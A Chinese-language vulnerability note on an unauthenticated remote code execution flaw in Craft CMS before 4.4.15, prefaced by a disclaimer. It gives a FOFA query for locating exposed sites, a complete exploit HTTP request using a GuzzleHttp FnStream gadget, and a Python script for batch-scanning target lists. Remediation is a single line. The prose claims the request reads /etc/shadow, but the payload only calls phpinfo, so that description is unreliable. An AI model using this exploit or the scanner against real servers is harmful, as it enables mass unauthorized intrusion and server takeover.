免责申明:本文内容为学习笔记分享,仅供技术学习参考,请勿用作违法用途,任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责,与本平台和发布者无关!!!

一、漏洞名称

CraftCMS  Unauthenticated RCE

二、漏洞影响

CraftCMS < 4.4.15

三、漏洞描述

Craft CMS是一个创建数字体验的平台。这是一种高影响、低复杂性的攻击媒介。建议在 4.4.15 之前运行 Craft 安装的用户至少更新到该版本以缓解此问题。Craft CMS<4.4.15 版本存在远程代码执行 (RCE)漏洞,攻击者通过在受攻击系统上执行恶意命令,从而获取未授权的系统访问权限。此问题已在 4.4.15 中修复。

四、资产FOFA搜索语句

icon_hash=“-47932290”

五、漏洞复现

向目标发送如下请求数据包,在ping命令后面跟上cat /etc/shadow命令查看系统文件


POST /index.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded

action=conditions/render&test[userCondition]=craft\elements\conditions\users\UserCondition&config={"name":"test[userCondition]","as xyz":{"class":"\\GuzzleHttp\\Psr7\\FnStream",    "__construct()": [{"close":null}],"_fn_close":"phpinfo"}}

响应数据包比较长,是一个html


将html内容用浏览器打开看起来比较直观


从上图能直观的看到响应数据包是一个phpinfo页面,证明存在RCE漏洞。

六、批量漏洞检测poc

该python脚本可以批量检测漏洞,C:\Users\DELL\Desktop\1.txt为输入目标文件,每行是一个url


import argparse
import time
import requests
from urllib.parse import urlsplit
# 读取URL文件,处理url
def get_url(file):
    with open('{}'.format(file),'r',encoding='utf-8') as f:
        for url in f:
            url = url.replace('\n', '')
            if "http" not in url:
                url = "http://" + url
            parsed_url = urlsplit(url)
            base_url = parsed_url.scheme + "://" + parsed_url.netloc
            send_req(base_url)

# 在文件中记录存在漏洞的url            
def write_result(content):
    f = open("result.txt", "a", encoding="UTF-8")
    f.write('{}\n'.format(content))
    f.close()

# 发送POC数据包请求

def send_req(url_check):
    print('{} runing Check'.format(url_check))
    url = url_check + '/index.php'
    header = {
            "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36",
            'Connection': 'close',
            'Content-Type': 'application/x-www-form-urlencoded',
            'Content-Length': '238'
        }
    
    data = r'action=conditions/render&test[userCondition]=craft\elements\conditions\users\UserCondition&config={"name":"test[userCondition]","as xyz":{"class":"\\GuzzleHttp\\Psr7\\FnStream",    "__construct()": [{"close":null}],"_fn_close":"phpinfo"}}'
    
    try:
        response = requests.post(url=url, headers=header, data=data, verify=False, timeout=30)
        if response.status_code == 200 and "PHP Version" in response.text and "PHP Credits" in response.text and "CraftCMS" in response.text:
            result = '{} 存在CraftCMS 未授权RCE漏洞\n'.format(url_check)
            print(result)
            write_result(result)
        time.sleep(1)
    except Exception as e:
        print(e)
        pass

if __name__ == '__main__':
    file = r"C:\Users\DELL\Desktop\1.txt"
    get_url(file)

七、漏洞修复

  1. 升级软件版本到4.4.15